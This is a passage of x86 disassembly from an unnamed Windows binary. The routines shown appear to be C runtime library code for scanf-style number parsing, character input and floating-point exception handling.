		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1

loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------

loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58

loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------

loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax

loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx

loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F

loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_441DB4, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------

loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------

loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_441DB4, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------

loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------

loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280

loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F

loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------

loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------

loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D

loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_441DB4, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------

loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_441DB4, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------

loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D

loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------

loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi

loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0

loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]

loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di

loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------

loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_441BA8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]

loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax

loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------

loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h

loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D

loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------

loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]

loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_441DB4, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------

loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_441BA8
		mov	al, [eax+esi*2]
		and	eax, 4

loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_442520, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4E0B28, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h

loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_442520, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------

loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------

loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------

loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx

loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 26603B1h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh

loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh

loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h

loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh

loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh

loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------

loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx

loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------

loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------

loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx

loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_442120
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs

loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_442110
		jmp	short loc_421426
; ---------------------------------------------------------------------------

loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_442120
		fchs

loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_442120
		jmp	short loc_42144E
; ---------------------------------------------------------------------------

loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_442110
		fchs

loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_442110
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs

loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]

